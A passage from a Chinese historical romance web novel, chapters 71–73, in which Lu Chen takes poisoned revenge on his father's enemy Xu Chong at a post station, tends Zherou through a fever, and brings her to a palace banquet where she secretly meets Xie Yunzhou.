呼吸一下下落在最细嫩的肌肤上,折柔渐渐觉得有些痒,有点想躲。 “别动,妱妱……”他喉结滚了滚,声音低哑,“让我抱会儿。” 两条手臂劲实有力,紧紧环抱住她的腰肢,一手压在她脊背上,一手虚虚扣住她的后脑,将她纤细柔软的身子完完全全笼在怀中。 环抱的力道不轻不重,不至于弄疼她,却也让她挣脱不得。 呼吸间都是他身上熟悉的气息,又混杂着几缕清苦的药香。 折柔犹豫半晌,终于还是抬起手,轻轻地,拍了拍他的后背,“好了。” 察觉到她的回应,陆谌身子微僵一霎,坚硬的手臂随即越发用力地缠紧了她。 “妱妱……” 似乎一向如此,她态度强硬,他便更强硬,她稍有柔软,他便也随之柔软。 “往后就这样,”陆谌的声音闷闷地从她颈窝传来,隐约带着几分沙哑的颤抖,“咱们好好过日子,不许再离开我……成不成?” 温热的呼吸喷洒在她的肌肤上,两个人紧紧相拥,她能清晰地感受到他胸腔的细微震动,有力的心跳一下一下,透过相贴的胸膛传来。 折柔静默了一瞬,终究没有推开他,只是任由他这样抱着,也违心地没有反驳。 窗外月色渐浓,将两人交叠的身影投在纱帐上,倒真像是鸳鸯交颈,情深爱浓。 也不知过了多久,听着枕边人呼吸渐渐变得平稳,一阵一阵清浅绵长,已然是睡得沉了,陆谌轻手轻脚地披衣起身,借着月光,垂眸看了看她恬静的睡颜,又在榻边静立了片刻,方才迈步出门。 南衡一直候在屋外,见他出来,忙迎上前去,“郎君,马已经备好了,可要即刻出城?” 陆谌点点头,示意他噤声,最后回望了一眼紧闭的房门,再无分毫停留,径直出了院门,翻身上马。《 》 70-80 第71章 悔意 谢云舟脸上被粗糙的宫墙磨破了好大一块,白日虽已上过一次药,但毕竟是伤在头面,晚间医官又过来,小心翼翼用软帕蘸了烧酒,给他重新清理换药。 烈酒渗入皮肉,一瞬牵起刺痛,疼得他登时倒嘶了一口凉气。 “小王爷且忍忍。”医官心头一蹦,神色紧绷起来,手上的动作却不停,“这伤虽不深,可毕竟是伤在面上,若不好生处置,只怕要留疤。” 新敷上的药膏沁着丝凉意,暂时压住了火辣辣的灼痛,谢云舟懒懒地应了一声,仰着脸任由医官摆布,目光却不由自主地飘向窗棂,望向宫墙那头的方向。 不知九娘在做什么。 在禁中耽搁这一个多月,他心中其实已有了些打算。 他二哥品性端方仁厚,只可惜天不假年,但昭儿承其聪慧仁善,只要好生栽培,假以时日,必能担起重责。 官家如今所需的,无非是借他牵制李桢,以免明面上只有李桢一个成年皇子,引得朝堂人心浮动,只要他能把李桢压下去,容昭儿再长大些,日后一切都好说。 她不过是想要寻常布衣,安稳度日,他有何不能给? 可偏偏这一两个月之内,官家下了死令,禁军防他比防贼还严实,宫墙内外层层设卡,他连区区一座皇城都出不去。 陆谌那头更是守得密不透风,他散出去的亲随根本近不了她的身,更别提带她走了。 一想到那处咬痕,一想到陆谌临走前扔下的那句“夫人亲手照料”,他心里就像被毒针戳了又戳,扎得心头直冒火。 今日他下手就该再狠点,多往那陆秉言的心窝踹几脚,让那厮在榻上躺足两个月才好,省得整日在她跟前晃悠。 越想越窝火,谢云舟气得太阳穴突突直跳,忽然“咔嚓”一声,猛地掰断了圈椅的扶手。 医官吓了一跳,赶忙出声劝他莫要乱动。 谢云舟咬牙忍了又忍。 这厢刚处置完伤口,官家便叫了小黄门过来,传他去福宁殿议事。 一进殿,官家坐在案后批阅着条陈,这个时辰小皇孙李昭下了学,正乖巧地坐在他身旁,陪同阿爷一道看书。 见他进来,李昭眼神一亮,放下手中书卷,起身迎了过去,脆生生地唤了一嗓子:“小叔!” 李昭今年将满八岁,正是虎头虎脑惹人喜欢的年纪,他生得肖母不肖父,两个黑葡萄似的眼睛又大又圆,甚是讨喜。 谢云舟扬唇笑笑,向上问过安,一把将他抱起来掂了掂。 李昭瞧见他脸上带着伤,不由关切道:“小叔怎么伤了脸?疼不疼?昭儿给你吹一吹。”说着便鼓起腮帮子,小心翼翼地往他脸上吹气。 谢云舟心头一暖,正要逗逗他,却听见官家缓缓搁下御笔,不咸不淡地哼了一声,“昭儿可得给你小叔好生诊治一番,瞧瞧,这都坏了品相了。” 谢云舟神色微僵,全作没听见。 官家深深地看了他一眼,偏头吩咐李昭:“昭儿先出去,阿爷有话同你小叔讲。” 李昭闻言,忙从谢云舟身上挣扎下来,端肃了神情,一板一眼地行礼应是。 他正要退出殿外去找嬷嬷,却被谢云舟一把拉住。 “昭儿如今也不小了,”谢云舟扬唇一笑,“若有正事,何不教他也一道听听。” 官家眉心微蹙,扫了他一眼,又看了看李昭,终是默许地摆了摆手。 李昭立刻挺直小小的身板,规规矩矩站在一旁,神色绷紧。 “听探子回报,老西羌王去岁染了重疾,只怕命不久矣,大抵是担心次子李保吉斗不过叔父,此番有意让他向我朝求亲,娶个宗室女回去,此事你应当知晓。” 谢云舟神色微微一僵,“官家如何打算?可要应允?” 官家点点头,“不错。” 谢云舟脸色唰地一变,指节暗自攥得泛白。 当年他爹胥国公镇守渭州,羌人假借议和诓骗他赴宴商议,却在宴上设伏,他爹当胸正中一箭,幸亏多年旧部拼死相护才突出重围,可箭上淬了毒,伤势极重,昏迷了十余个日夜才堪堪捡回一条命来,也从此落下顽疾,折损寿数。 当日设此毒计的正是李保吉兄弟二人。 后来他和李保吉的兄长在战场再遇,羌人败退不敌,有意求和,但如此深仇,他岂肯答应?亲率轻骑连追七日七夜,不卸甲不歇马,一直追到雪山堡寨,将其射杀于马下,才算稍解心头大恨。 当年李保吉亲眼目睹胞兄被杀,对他恨之入骨,此后又大大小小交手数次,他们之间,仇怨不可谓不深。 可如今看这意思,和亲一事竟已成定局,这群西羌的獠子,杀了他大周的将士、劫掠大周的百姓,如今竟还要娶走大周的小娘子,这世上哪来如此好事? 官家一看自家儿子那副神情便蹙了眉,沉声道:“此事我知道你同他有旧仇,但留着李保吉和他叔父互相牵制,对北疆安定有益。兹事体大,不可有半分疏忽。” 说着,他抬眼看向谢云舟,指节在御案上重重一叩,“西羌使团不日抵京,届时即便他有意挑衅,只要不伤及国体颜面,你都给我忍着!” 这话犹如一盆冷水当头浇下,谢云舟只觉一股郁气在胸中猛然翻腾起来,直冲得太阳穴突突直跳。 他咬着牙忍了又忍,到底没能忍住,扯唇一哂,“官家既有此意,左右臣已被软禁了这些天,也不差再多几日,您不如直接把臣锁起来,岂不是更省心?” 此言一出,空气仿佛一瞬凝滞,四下里安静一片,烛火“噼啪”一声炸了个灯花。 李昭也本能地屏住了呼吸,大气不敢出。 官家撩起眼皮,朝谢云舟脸上瞥去一眼,忽然轻“哦”了一声,状似恍然道:“这是怨朕让人关着你,耽误你去和表哥抢女人了。” 谢云舟脸色瞬间铁青,下颌线条绷得死紧。 “你可莫要忘了,西羌使入京,国宴之后还有曲宴。陆家那小子不是刚请了诰命么?届时你那心尖身为三品命妇,自然当入禁中谢恩,位列宫宴。” 官家话锋一转,指节轻叩了叩案几,“只要你给朕安分些,莫生事端……朕不是不能安排你见她一面。” 谢云舟猛地抬起头来,眸光一亮,“爹爹……” 官家见状,唇角微不可察地扬了扬,随即又迅速绷紧,自鼻腔里冷哼了一声。 有事唤爹爹,无事唤官家。还是欠收拾。 李昭年岁尚小,不懂其间机锋,却又敏锐地能察觉到异样,目光忍不住在祖父和小叔之间来回游移。 官家余光瞥见,冲着孙儿温煦地笑了笑:“到时候,昭儿也要随阿爷去宴上见见世面。”说着,故意瞥了一眼谢云舟,淡淡道,“让你小叔教教你,什么叫‘忍’字头上一把刀。” ** 入夜,官驿内一片寂静。冷月如钩,悬在枯树枝头,寒风掠过窗棂,发出阵阵呜咽似的声响。 徐崇虽已离京两日有余,但一行人路上脚程不快,直至今日傍晚才走出百里,行至中牟县驿,暂作歇宿。 夜里他早早盥洗就寝,睡得却并不安稳,梦中尽是支离破碎的幻象。 梦见陆伯远死在皇城司的内狱里,他高坐明台之上,看着尸首人被抬出来,白布下露出的衣衫破碎不堪,血珠从指缝里洇出来,一滴一滴落在皑皑积雪上。 转眼又梦见自家府邸挂满白幡,周氏的灵柩前纸钱纷飞,僧侣嗡嗡的诵经声混沌朦胧。 倏忽一阵天旋地转,眼前只见漫天飘雪,像是他离京那日的模样,十六娘扶着驴车相送,一路走一路哭,走到最后,脚步踉跄着,罗袜上沾满雪泥。 “爹爹——” 十六娘自小被金尊玉贵地养大,如今他被贬谪出京,她无父无夫,寄人篱下,往后的日子要怎么过…… 梦里那具血肉模糊的尸体变成了十六娘。 心头陡然一阵急跳,徐崇从梦里醒过来,后背已经爬上了一层冷汗,直到看清眼前简陋的官驿厢房,他这才长长舒了一口气,心跳渐渐平复下来。 只是个噩梦罢了。 他好歹保住了一条性命,不过是贬谪左迁,就算暂且困顿雷州,只要韬光养晦,待到日后,不怕没有风向转动。 徐崇捂着闷痛的胸口咳了几声,慢慢翻了个身,朝门外唤小仆送热茶来。 这时候便不由感叹,好在出行前李桢花了大钱,打点好了解差,尽管要被押解上路,途中还能给他塞个小仆,随身侍奉。 可等了半晌,却没有人应声。 “人呢!睡死过去了么?” 徐崇眉心蹙紧,又厉喝了两句,可仍旧不见人应答。是见他沦落到这般境地,区区小仆也敢惫懒怠慢了不成? 心头顿时怒起,他赤着脚下了榻,大步绕过槅扇,正要喝起小仆痛骂几句,却见窄榻上空空如也,哪里还有小仆的身影? 探手一摸,窄榻上尚有余温,似是起夜未归,怒意稍稍平息了几分,他正要转身回去自己倒茶,却忽然发觉不对。 四下里寂静无声,竟听不见隔壁押送班头的鼾声。侧耳屏息片刻,徐崇心中渐渐生出惊疑,回身抄起碳炉边的铁钳,轻手轻脚地走到门口,竟看见小仆歪倒在院中,一动不动,像是昏死了过去。 徐崇心头猛地一颤,缓缓抬起头,就见一道挺拔清劲的身影立在院中,正一言不发地盯着他。 来人逆着月光,半张脸隐匿在黑暗里,半张脸被月色镀上一层清辉,一时间教人看不清神色,只露出一双冷沉锐利的眉眼。 寒意一瞬从脚底窜上脊背,徐崇下意识攥紧了手中的炉钳,“你来做什么?” 陆谌瞥了眼他手上动作,扯唇一哂,“相公又何必明知故问。” 徐崇喉头微微发紧,勉强撑住脊背站直,出声斥责:“王仲乾已死,你还待如何?当年……我确是袖手旁观过,但也不至教你赶尽杀绝罢!” 闻言,陆谌眸光愈冷,轻嗤一声,“相公这是拿我当三岁小童哄骗。事到如今,是非黑白早已无甚紧要,我来,只为索命,不为断案。” 后背沁出一层冷汗,徐崇心中渐渐生出恐惧,指尖控制不住地隐隐发颤,“胆大包天……竖子果然狠绝!” “谬赞。”陆谌扯了扯唇,声音平静,却仿佛淬了冰水,“说来倒是托相公的福,当年上下打点关节,将我充军到了洮州,又数次指使枢密巡按侵夺军功。身边尽是军痞恶棍,若非心狠手黑,我又如何降服他人,重回上京。” 徐崇仿佛坠入冰窟,手足一阵阵冷沉发僵,勉强抬起一手撑住门框,维持着身形。 陆谌从怀中取出一个葫芦小瓶,扔到他脚下,语气淡得听不出一丝起伏:“把这药服了,我留你一具全尸。” 倒像是地狱修罗的施恩宽赦。徐崇停顿一霎,僵硬地看向脚前的药瓶。 看出了他的惊疑,陆谌倒也分毫不作遮掩,轻哂道:“当年我爹爹在皇城司熬刑七日,轮到你,又岂能死得那般痛快。” 后背一瞬汗出如浆,徐崇口舌干燥,浑身都颤抖起来。 这小子有几分斤两本事,他心中自然清楚。否则当初也不会心存忌惮,有意拉拢,且不说那两个押送班头大抵已被他敲晕,就算还在,寻常护卫也绝非他对手…… 更不必说,既然能等到他出京百里再连夜追来,便是早已做好了一切打算,小子心性狠辣,为父仇隐忍多年,自己今夜是难逃一死。 就在方才,他还想着风水轮转,东山再起,想着李桢登上大位……可如今,已然再无转圜了。 事到如此,再做挣扎也是徒劳,无非白白落得个身首分离的下场罢了。 半晌,徐崇僵硬地捡起药瓶,颤着手倒出药丸,须臾,闭上眼心一横,仰颈咽下。 陆谌冷冷地看着他,一张阴沉的俊脸隐没在月光里。 药性很快发作起来,肚腹间生出剧烈的绞痛,徐崇眼前一阵阵发黑,忍不住想起十六娘,想起周氏被河水泡胀惨白的那张脸,他艰难地吞咽了口唾沫,忍着痛意,颤声问道:“容娘呢……容娘她全然无辜,对你唯有真心……你杀了她的爹娘……又,又会对她如何?” “只要她日后不再生事,我便不会动她。” 这个回答如何能教人甘心,徐崇忍不住想起周氏出殡那日,幼女通红惶遽的双眼,想起她从前欢欢喜喜地去找那所谓的“秉言哥哥”,想起自己方才所做的噩梦…… 诸多滋味交杂在一起,混着肺腑间越来越剧烈的痛楚,让人只想求个痛快解脱,心头恐惧积攒到了极处,反而催生出滔天的怨毒和恚怒,只恨不能也让眼前之人更痛百倍,痛到悔不当初。 “陆家小儿……”他嘴角渗出血沫,十指深深抠进雪地里,面目狰狞如厉鬼:“我记着……你那元配,去岁有孕……” 陆谌身形骤然僵住,握刀的手背上青筋缓缓浮现,在苍白的皮肤下寸寸突起。 “算来……”徐崇喘着粗气,恶毒地眯起眼,“若无此事,你今时今日……也该当爹了……” 话未说完,他突然“哇”地吐出一大口血来,急喘片刻,竟癫狂大笑起来,“你总算,大仇得报……却换得……妻离、子亡,可值得乎?陆家小儿,这滋味……如何啊?哈哈哈哈……” 妻离。 子亡。 脑中嗡嗡作响,一阵穿心裂骨的锐痛猝不及防席卷全身,如同被无数冰针齐齐刺入骨髓,陆谌几要承受不住,身形猛地一晃。 抬手捂住胸口,他咬了咬牙,硬生生将涌到喉头的腥甜咽了回去,从牙缝里挤出一声厉喝:“闭嘴!” 徐崇的视线早已模糊,看不见他的神色,却听出了他声音里的痛苦,心中总算感到些许快意,“不知,咳咳,你那孩儿……是男,是女……老夫一命,倒也不亏……不亏啊!哈哈哈——” “闭嘴!” 最后一声凄厉的狂笑戛然而止,月光下,寒芒乍起,一弧温热的血箭猛地喷溅而出,又点点洒落到皑皑的积雪中。 陆谌死死盯着地上那张扭曲的脸,握刀的手不受控地发抖,指节攥得发青泛白,咯咯作响,几要捏碎。 四野茫茫,寒风萧萧。 驿站内死寂一片,静得他能听见自己的心跳在胸腔里回荡,一声比一声沉,一声比一声疼,像是钝刀在缓慢地剜着血肉。 这些年来,他曾无数次在脑中描摹手刃仇敌的情形,可当这段血仇如此轻易地了结后,他竟觉不出分毫快意,胸腔里除了空荡荡的茫然,只有一股说不清道不明的痛楚在不断上涌。 值么? 他伤了她的心,害了他们的孩儿,让她受过那样一遭苦楚,所换来的一切,值得么? 眼前一阵天旋地转,陆谌慢慢地抬手抵住胸口,五指攥紧了衣料,骨节用力得几要掐入皮肉,可即便如此,仍旧缓解不了胸腔里的剧痛,疼到茫然处,他忽然想起从前的一桩小事。 那年洮州大捷,他立下一桩不小的战功,枢密院派了巡使前来勘验,他需得面见上峰,当面问对。 她得知此事,偷偷典当了仅有的两根发钗,换回几贯银钱,给他裁了一身簇新的官袍,又配上全套崭新的铜銙躞蹀带、乌皮六合靴。 出门之前,她满心欢喜地帮他系上革带,回身取来香囊和佩刀,一件一件挂好,又踮起脚尖,为他戴上幞头,细滑温热的指尖一点一点触过额头,仔仔细细地理顺巾带。 他低垂着眼,默默看着她在屋里转来转去,忙活得热火朝天,脸颊微微泛起了红晕,几缕碎发被细汗黏在鬓边。 一切收拾妥当,她总算颇感欣慰,左右看了几圈,半晌,忍不住抬手抚了抚他肩头的旧伤,轻声喃喃,“早一日搏出条路来,早一日不用再吃这苦头……看得人心疼。” 她不知那巡使是徐崇的人,这份军功早已注定要被旁人侵占。 她只知晓此事于他极是紧要,她便竭尽所能,想让他体体面面地站在人前。 傻妱妱。 从前的诸多琐碎小事慢慢浮上心头,如同钝刀割肉放血,更仿佛在一声声叩问,陆秉言,你后不后悔?后不后悔伤了她的心,害死你们的孩儿。 如何不后悔。 他后悔了。 可是,谁能来把那个妱妱还给他。 陆谌眼眶一热,滚烫的液体不受控制地涌了出来,心口仿佛被千斤重锤狠狠击中,疼得他呼吸一滞,双腿顿时失了力气,整个人直挺挺地摔跌在冰冷的积雪当中。 第72章 风寒 次日一早,折柔醒来便不见陆谌踪影,她一心惦记着去打探商队的门路,本就无心理会他的动向,只说要问胡商采买些陇右出产的稀罕药材,便由南衡跟随着,去了一趟新郑门外的汴河码头。 因着漕运的便利,汴河码头附近货栈林立,胡商聚集,昨日她已向叶以安探问清楚,得知西羌的使团虽还未抵京,但已有数支商队先行到此,大多都在这一带贸易。 接连逛了几家货栈,未免南衡起疑,折柔不止向西羌人问了价,连带着也仔细挑了挑吐蕃和党项人贩来的药材。 最后她才回到西羌人那处,少买了些红花和枸杞,借称先回去看看药效,倘若合用再来多多采买,顺道便向领队问清了商队离京的时间,听闻他们最早也要到四月才返程,折柔心下不由一松。 如此一来,她的时间尚算充裕,倒是可以慢慢打算。 毕竟还有南衡跟随在身侧,她没有多留,将药材仔细包好便回了药铺,刚巧遇见陆琬过来寻她,还特意带了樊楼近日新出的羊羔酒,另外又配上一份盘兔,一碟羊皮花丝和一盒酥蜜食,佐餐下酒倒是滋味极好。 也不知是吃多了酒,还是白日里在码头受了寒风,等到送走陆琬,回到别院,折柔只觉头脑昏沉胀痛,草草洗漱后便歇息睡下。 直到深夜时分,陆谌方才顶着满身的风雪寒气,从百余里外的中牟驿折返回了上京。 南衡上前,向他禀过折柔今日的行程,白日去了汴河码头、晚间同陆琬一道用了暮食。 陆谌问起其中一桩,“问胡商买药?” “是,买的不多,几包红花和枸杞,都是西羌特产的药材。” 陆谌略一停顿,暂未多思,只点点头,拢了下大氅,脚下不停,大步朝院里走去。 庭院里静悄悄的,白日的积雪未化,四处都覆着一层薄薄的白霜,小狸蜷缩在阶下的暖窝里,见有人回来,抬起头轻轻呜咽了两声。 折柔歇下已有些时候了,屋中只遥遥点了一支细烛,火光微弱,透过重重桃花棉纸,隐约泄出一抹摇曳的暖黄光晕。 陆谌的脚步渐渐缓了下来,踏过覆雪的石板,走到廊庑下,定了一定。 须臾,他抬手推开屋门,迎面一阵融融暖意挟着若有似无的杏花香,轻柔地拂过脸庞。 在门口脱去大氅,陆谌放轻脚步,绕过屏风,目光落到不远处的床榻上。 她埋头在软枕里,睡得正是迷糊,仿佛倦鸟归林,身上锦被裹得严严实实,随着呼吸而微微起伏。整个人只露出头脸来,乌浓的长发散落铺满了枕头。 陆谌也不知为何,站在原地,定定地凝视了许久。 从中牟驿折返上京,他这一路归心如焚,总觉得何处教人隐隐牵挂不安,迫不及待地想要立刻见到她。 直到此刻,那些焦灼郁结的情绪不觉间烟消云散,心中忽然便安定松散了下来。 正想退出去外间盥洗,身后榻的人却含混着唤了他一声。 “陆秉言……” 陆谌脚步骤然一顿,转身应道:“嗯?” 折柔其实睡得并不沉,起先她以为自己是喝醉了酒,迷迷糊糊地睡到半路才发觉是染了风寒,身上一阵阵地发热。 此刻人虽醒了,她脑中却烧得昏沉恍惚,意识朦朦胧胧,一时分不清身处何时何地,只隐约听见屋外有小狗呜咽,便以为是在多年前的洮州,不是小狸,而是阿黄。 她缓缓地抬起头来,双颊微红,眸中泛着一层迷朦的水雾,声音轻软得像是梦呓:“……怎么才回来?灶上温着饭……有新腌好的鱼鲊……” 陆谌浑身猛地一僵,仿佛被一股巨力击中心口,眼眶又酸又热,喉间像是教什么哽住,全然忘记了要如何呼吸。 他知道这是一句胡话。 她说的是几年前的旧事了。那时他们还年少情浓,她满腔的柔软爱怜,知道他散值回来得晚,夜里都会特意给他留好温热的饭食。 陆谌的眸色沉了沉。 分明都是同一个他,他却忍不住嫉妒起来,妒恨起从前的自己,竟能得她那般惦记牵挂。 这妒意来得毫无道理,却烧得五脏六腑焦灼生疼,又偏偏教他无处宣泄。 折柔的胡话将将脱口,神智便已有些清明。 须臾,模糊的视线慢慢凝聚起来,等到全然看清眼前的那张脸,心口蓦地传来一阵钝痛窒闷,空荡荡的,像被一把生锈的短刀慢慢剐过心肺。 她呆愣半晌,随即懊恼地转过身,整个人往被衾里缩了缩,将滚热的脸颊深埋进软枕里,不欲再理会身后的人。 从前的那些温存和体贴,早就该随着洮州的雪一道化尽了才对。 陆谌也很快反应过来,意识到她这情形不对,立时定了定神,几步走到榻前,不由分说地将人扳转过来。 指腹探上脸颊,果然是发了热,温度烫得惊人。 陆谌心一紧,低头朝她脸上看去,“妱妱?” 折柔心里难过,只倦乏地闭着眼,闷声道:“我没事,只不过稍有些风寒,睡一觉就好了。” 陆谌撩袍在榻边坐下,拧眉注视着她,“八成是白日里在码头吹了冷风。往后再要采买些什么,打发平川去便是。” 折柔呼吸微微一滞,指尖不觉攥紧了被子,尽量把语气放得自然,“他又不会分辨药材的品相优劣。” 陆谌用掌心贴着她的额头,久久没有移开,也没有说话。 折柔的心不由提了起来,陆谌向来心思敏锐,也不知他可是发觉了些什么。 倘若被他察觉出异样,这条路便又要走不通了。 好在陆谌没在此事上过多纠缠,只是起身倒了盏温茶,回来喂着她慢慢喝下去。 用过茶水,折柔疲倦地闭上眼,把身子蜷进柔软的被衾里。 知道她晚间还饮了酒,陆谌一边帮她揉压着合谷穴,一边扬声朝外唤人去熬姜汤。 院中很快响起窸窣踢踏的响动,值夜的仆妇被惊起来,匆匆去庖厨里忙活。 初春气候尚寒,夜间灶上也留有余火,很快便有熬得浓浓的热姜汤送进主屋,折柔喝了两碗入腹,药力逐渐上涌,总算是发出一身的热汗,彻底退了烧,呼吸也平稳下来,闭眼熟睡过去。 陆谌拧干了湿帕,仔细给她擦净身上的汗,又换了套干爽的里衣,这才把人重新塞回进被子里,裹好。 等到一切忙完,收拾利落,时辰已过四更。 折柔迷迷糊糊睡了一会儿,又被姜汤的热劲燥醒,喉咙干得发疼。陆谌端来温茶,轻轻托着她的后颈喂她饮下。 她整个人软绵绵的没有力气,难得乖顺地靠在他臂弯里,小口小口地抿完了一盏茶。 这些时日以来,她鲜少有这般温顺的时候。陆谌将茶盏放到一旁,垂眸看了她半晌,胸口隐隐泛起一阵酸胀,又忍不住出言轻嘲,“偏就这般倔,若非在家中,你一个年轻女子孤身漂泊在外,冷了病了,吃苦受罪,谁来管你,嗯?” 折柔抬头看了陆谌一眼,唇瓣动了动,刚要开口,就被他俯身封住了唇。 这个吻来得既莫名又凶狠,折柔还没反应过来,已被陆谌扣住了下巴。 修长的指节稍用了些力,迫使她微微仰起脸,陆谌径直撬开她的唇齿,温热的舌尖长驱直入,缠住她的不放,又带着几分惩罚意味似的,重重吮了一下。 折柔本就有些呼吸不畅,教他吻得越发喘不过气来,喉间不由溢出了一声轻喘,本能地抬手去推他胸膛。 陆谌这才稍稍退开了些,双臂撑在她两侧,俯身抵着她的额头,眸光沉沉,咬牙切齿地警告:“不准跟我提谢鸣岐。”顿了顿,又轻蔑地低哂了一声:“他一个锦衣玉食养大的小王爷,连自己都顾不明白,又会照顾哪门子的人。” 没想到他思量的竟是这个,男人一旦起了妒心,当真是胜过女子百倍。 折柔忍不住蹙了蹙眉,偏头躲开他灼人的气息,低声反驳:“我自己……用不着旁人……” 陆谌盯着她看了半晌,忽而扯出一抹自嘲的笑,“宁家九娘自然是好本事,我上赶着想照顾,你却是分毫都不稀罕。” 说完,也不容她再拒绝,他伸手将人抱进了怀里,手掌顺着她单薄的脊背慢慢抚过,指腹能清晰地摸到一节节凸起的脊骨。 陆谌的动作微微一滞。 瘦了。 她虽然生来就纤薄偏瘦,但身体底子素来很好,极少会像今日这般,稍吹点冷风便风寒发热。即使从前小产了一回,在小月子里也调养得宜,不曾亏下过气血,可如今重逢才不过月余,竟反倒将她养得瘦了,甚至于这样风吹就倒、轻易染病。 陆谌心头忽而冒出几分涩意。 或许往后……不该再将她逼得那样紧。 — 这一场风寒倒是不算严重,折柔饮过姜汤,又安稳地睡了一夜,次日醒来便已好转大半,陆谌留在家中照看了她一日。隔日西羌使团抵京,他便再也抽不出身来,国宴后又去玉津园陪同西羌使臣射猎较艺,一连数日都是早出晚归。 直到第五日,陆谌带了一整套簇新的衣衫回来,交待道:“试试合不合身,若是合适,明日便穿这个。” 折柔抬头看了一眼,立时便发觉那并非常服,倒像是一件大袖礼衣,织金妆花,颇为郑重。 她不由一怔,“做什么去?” “依旧例,异族求亲,大宴过后要在艮岳另设曲宴,京中四品以上的官眷都需随同赴宴。”陆谌顿了顿,看着她继续道:“琬娘也在,既有熟人,你随我去散散心也好。” 折柔闻言便蹙了眉,她实不想以陆谌家眷的身份露面,更不必说那等场合……只怕必定会见到鸣岐。 她抿了抿唇,出言拒绝:“我不去。” 第73章 四人 她会作此反应,陆谌倒也不意外,只淡淡道:“官家吩咐过,必得要去。” 竟这般难缠,折柔忍不住蹙了眉,抿唇道:“那等场合,就不怕我遇见……旁人?” 她不想同陆谌起争执,话到嘴边转了个弯,可这“旁人”指的是谁,两个人都是心知肚明。 陆谌的眸光沉了下来。 他又何尝不知,明日入了艮岳,便等同于将她送到谢云舟的眼皮子底下。任他再有手段,又岂能在天家林苑中处处设防?只要谢鸣岐有心,必要设法同她私下相见。 说不介意是胡扯。 可她和谢鸣岐曾有过的那一段,于他而言到底是根毒刺,扎在他血肉里日夜折磨,与其让这根刺扎得越来越深,化了脓留下疤,倒不如狠一狠心,让她直接剜出来,得个痛快。 折柔到底拗不过他,次日午后,由女使侍奉着换上繁复的命妇礼衣,仔细打扮停当,眉心贴上珍珠花钿,和陆谌一同前往艮岳赴宴。 未时将过,艮岳正门外陆陆续续已有不少朝官和家眷,相熟的人家互相热络攀谈着,到禁军处验过鱼符对牌,再由侍奉的小黄门殷勤地引入内苑。 陆琬和顾弘简早已等候多时,抬头见折柔由陆谌扶着下了马车,立时笑着迎过来,热络地同她打招呼,“阿嫂,你们可算是来啦。” 折柔抿唇笑笑。 陆谌垂眸看了她一眼。虽是初次过来这等大宴,但有陆琬陪同照应,他也算放心,简单交待了两句后,便和妹婿一道去往设宴的承兰亭。 折柔同陆琬寒暄了几句,很快有小内侍上前引路,恭敬地躬身一叉手,“请贵人随奴婢入内。” 陆琬点头笑笑,抬手挽住折柔的手臂,亲热道:“阿嫂,咱们走罢。” 时近三月暮春,艮岳里的池水早已化冻,阵阵柔波荡漾,亭台精致风雅,岫玉为栏,金丝做柱,一路沿着曲江往里走,各处都妆点着暖房里栽种出来的奇花异草,树木高低错落,水面悬灯万盏,璀璨灼灼。 折柔穿行于其中,只见处处雕栏玉砌,仿佛又回到去岁上京,初入郡伯府赴宴的时候。一种茫茫无措的感觉又隐约浮上心头,只不过那时还有陆谌让她想要依靠,如今却已物是人非。 绕过回廊转角,正要往水榭去,折柔忽然感觉到一道异样锋利的视线扫了过来,她心神一紧,本能地回头看过去,一瞬间,四目遥遥相接。 暮色斜照,那人逆光而立,面容隐匿在暗处看不真切,她只看见他和李桢并肩而立,想必是身份显赫。 陆琬陪在她身边,顺着她的视线看了一眼,低声解释道:“那是西羌的二王子,此番是来向咱们大周求亲的。” 折柔心口一紧,立时收回视线,心底隐隐觉得不安。 她曾听闻羌人勇猛尚武,以战死为吉利,病终为不祥,妇人生产亦不避风雪[1],前几日同西羌商队打交道还没觉得如何,可此刻这人的眼神,却莫名让她想起蛮兵南掠打草谷的凶残狠绝。 折柔暗暗攥了攥手心,脚下不自觉快走了几步。 穿过临水的廊亭,不远处便是女眷的席面,循着夫家的爵位和官阶排的位序,陆琬挽着折柔的手臂,带她入席落座。 丝竹吹奏起来,两列宫人托着缠枝檀木食盒鱼贯而入,将一道道精致的菜肴送上案几。 男宾女眷虽是隔着曲江池分席而坐,两处的筵宴却并无不同,银盘玉盏,象牙为箸,既有绣花高饤八果垒,又有各色雕花蜜煎,花炊鹌子、盏蒸羊、酒炊淮白鱼、荔枝白腰子……各色菜食,琳琅满目。 这等宫宴排场,一向不求清淡适口,但求奢靡铺张,在番邦面前尽显国力,菜色实则过分丰盛,折柔牵袖略尝了几样,很快便觉腻味,放下筷箸。 陆琬早有准备,见状提起碧玺酒注,给她斟了一盏蔷薇露,“阿嫂且尝尝这个,这酒最是清淡解腻,待会儿还会再上些冷食果子。” 折柔弯唇笑笑,“多谢琬娘。” 宴上丝竹不绝,菜过五味,酒注里的蔷薇露已然一空,小内侍见状,俯身趋步上前添酒。 壶口微倾,澄澈的蔷薇露缓缓注入杯中,却不想那他手中忽然一抖,酒注里的蔷薇露溢洒出来,淋湿了她的一小片衣角。 小内侍慌忙跪下请罪,惊惶道:“贵人恕罪!” 折柔轻轻摇了摇头,正要让他退下,小内侍却微微抬起眼,低声试探道:“贵人这衣物……可要随奴婢去侧殿处置一番?” 只不过一瞬,他又仓促地低了头,折柔心口蓦地一跳,隐隐有种直觉—— 鸣岐。 心脏一阵急跳,折柔暗自攥了攥掌心,若无其事地和陆琬交待了一声,起身随着小内侍退出大宴,往亭后偏殿的方向走去。 时近薄暮,秾艳的云霞在穹际翻涌,夕光映在一重又一重的琉璃瓦上,折道道炫目的金光,夹道树梢也高高挂起细纱灯,在高低错落的亭台水榭间投下幽淡的暗影。 折柔由小内侍引着,绕过水榭,走出廊亭,正要再往前走,身旁的山石后忽然传来低低的一声唤。 “九娘。” 这道熟悉的声音一入耳,折柔心口猛地抽了一下,转过头,就看见一张熟悉的俊脸,点漆般的眸子倒映着天穹云霞余晖,灼灼如炬。 月余未见,谢云舟清减了不少,穿一身紫色妆蟒绫罗襕袍,躞蹀带束出一把劲腰,显得整个人愈发干净挺拔,如同一柄出鞘利刃,英姿勃发。 谢云舟看着她身上穿的三品命妇大袖礼服,喉头不觉一涩,想开口说些什么,又不知从何说起。 既怕她被陆谌拘着过得不快活,又怕她和陆谌当真有意重归于好,破镜重圆。两种念头在心头撕扯,搅得他日夜不得安宁。 他比谁都清楚,她和陆谌,曾在最落魄困苦的时候相伴数载,相依为命,不离不弃,其间情意远非他在燕子坞的短短数月所能相比。 两人站在阶前,明明不过几步之遥,却有种恍如隔世之感,一时间都不知要从何开口,只怔怔地望着彼此。 